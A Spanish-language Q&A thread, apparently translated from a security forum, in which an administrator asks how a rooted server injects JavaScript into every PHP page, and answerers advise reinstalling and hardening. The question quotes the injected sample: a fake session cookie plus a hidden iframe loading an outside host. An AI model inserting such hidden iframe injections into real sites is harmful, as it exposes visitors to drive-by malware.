Inyección de javascript en todo el servidor

Question

Inyección de javascript en todo el servidor

#1 de bstpierre (7 votos)
#2 de esskar (4 votos)
#3 de D.W. (1 votos)
#4 de symcbean (0 votos)

6

ACTUALIZACIÓN: el servidor fue rooteado, se reemplazó php.ini que hizo que apareciera la inyección. Todavía no he descubierto qué directiva está inyectando el javascript.

Estoy solucionando problemas en un sitio web pirateado donde se inyecta un javascript en cada archivo PHP y solo en PHP. La inyección solo aparece en IE también. Tengo experiencia con la inyección antes, pero la mayoría de ellos se inyectaron a través de FTP, y puedes verlos en la propia página. No estoy viendo ningún virus o proceso malicioso en el servidor hasta ahora, y estoy empezando a pensar que el intérprete de PHP o Apache fue hackeado de alguna manera. ¿Alguien ha visto esto antes o sabe dónde debería mirar? La inyección está debajo,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

Esto le sucede a todos los sitios web en el servidor, incluso con un archivo PHP que solo tiene un eco simple. .htaccess se ve limpio para todos ellos. Servidor que ejecuta PHP 5.2.17 y Apache 2.2.17.

xss apache php injection

pregunta breakingigloo 17.11.2011 - 08:22

fuente

4 respuestas

Lea otras preguntas en las etiquetas xss apache php injection

Descifrado en AES cuando se usan la misma clave y IV ¿Es posible la escalada de privilegios cuando el shell está bajo el usuario www?

score 7 · Answer 1

Según su comentario a la respuesta de @ esskar, parece que su servidor ha sido rooteado y el binario de php ha sido reemplazado.

Ya que no tienes idea de qué otra cosa podría haber sido reemplazada, volvería a instalar desde cero. Desafortunadamente, tendrá que sospechar de los archivos de datos que salen de sus copias de seguridad a menos que sepa exactamente cuándo ocurrió el hackeo. (Y sospecho que no, ya que no sabes exactamente cuál fue el hack / era).

Mi mayor problema con el enfoque de "reinstalar desde cero" es que es probable que tengas la misma vulnerabilidad que permitió que este ataque fuera exitoso. Para evitar que esto suceda:

Cambiar todas las contraseñas para todos los servicios.
Asegúrese de que todos los parches para todos los paquetes estén instalados.
Cierre los servicios que no están en uso.
Si es práctico, particione los servicios en múltiples servidores: coloque los servicios que puedan correr un mayor riesgo en un servidor separado.
Configure el monitoreo (IDS) y manténgase al tanto del mantenimiento para que tenga la oportunidad de saber qué sucedió si ocurre otro ataque.

score 4 · Answer 2

abra un shell y ejecute php desde allí (tal vez un simple hola mundo) y vea lo que sale. Si genera el código inyectado, usted sabe qué arreglar.

EDIT 1:
No he visto esto antes. Hice algunas consultas de google sobre eso antes, el resultado es un poco pequeño, pero la mayoría de esos resultados están vinculados a páginas en las que recibí una alerta de seguridad de avira: object < < < JS / Redirector.LC; virus Contiene el patrón de detección del virus de script Java JS / Redirector.LC

score 1 · Answer 3

Puede que no sea un buen uso de su tiempo tratar de averiguar exactamente cómo funcionan las cosas maliciosas en su sitio. Es difícil confiar en que lo has encontrado todo.

En cambio, el consejo estándar es reformatear y reinstalar desde copias de seguridad confiables que se remontan a la fecha anterior a la intrusión. Hay mucho más que decir sobre esto. En lugar de repetir lo que otros han escrito, le dirigiré a la pregunta "qué hacer después de una posible intrusión en el servidor web de hobby" , que cubre este tema bastante bien.

score 0 · Answer 4

(Supongo que en esta etapa está utilizando una imagen de VM fuera de línea para el análisis y el servidor está apagado)

Es posible que esto se pueda implementar en varias capas: el script php, la configuración php, el binario de apache o incluso el kernel.

El lugar obvio para comenzar a buscar es en los scripts de PHP. Si no hay nada allí, entonces el siguiente paso sería verificar los prepagos automáticos en la configuración httpd. Suponiendo que está limpio y no ve el mismo comportamiento con los archivos .html, intentaría cambiar la asociación de tipo de archivo por archivos php en la configuración httpd. Si el problema persiste, el controlador PHP inyecta el .js dentro de Apache (pero no específicamente por el propio PHP).

Tenga en cuenta que comprender cómo se implementa la inyección probablemente será de poco beneficio para entender cómo se implementó el código para implementarla - i.r. cómo proteger su servidor contra el ataque.

No dijiste si esto es mod_php, cgi o fcgi, lo que tiene cierta relevancia.

Tampoco mencionó en qué sistema operativo se está ejecutando, ni si hay copias de seguridad.

Esto hubiera sido útil ya que la mayoría de los administradores de paquetes de Linux proporcionan un mecanismo de comprobación de firmas de archivos (generalmente bastante burdo). Y si tiene copias de seguridad antiguas, podría ver si puede encontrar la última que no presenta la inyección y comparar los archivos con la primera que sí muestra la inyección.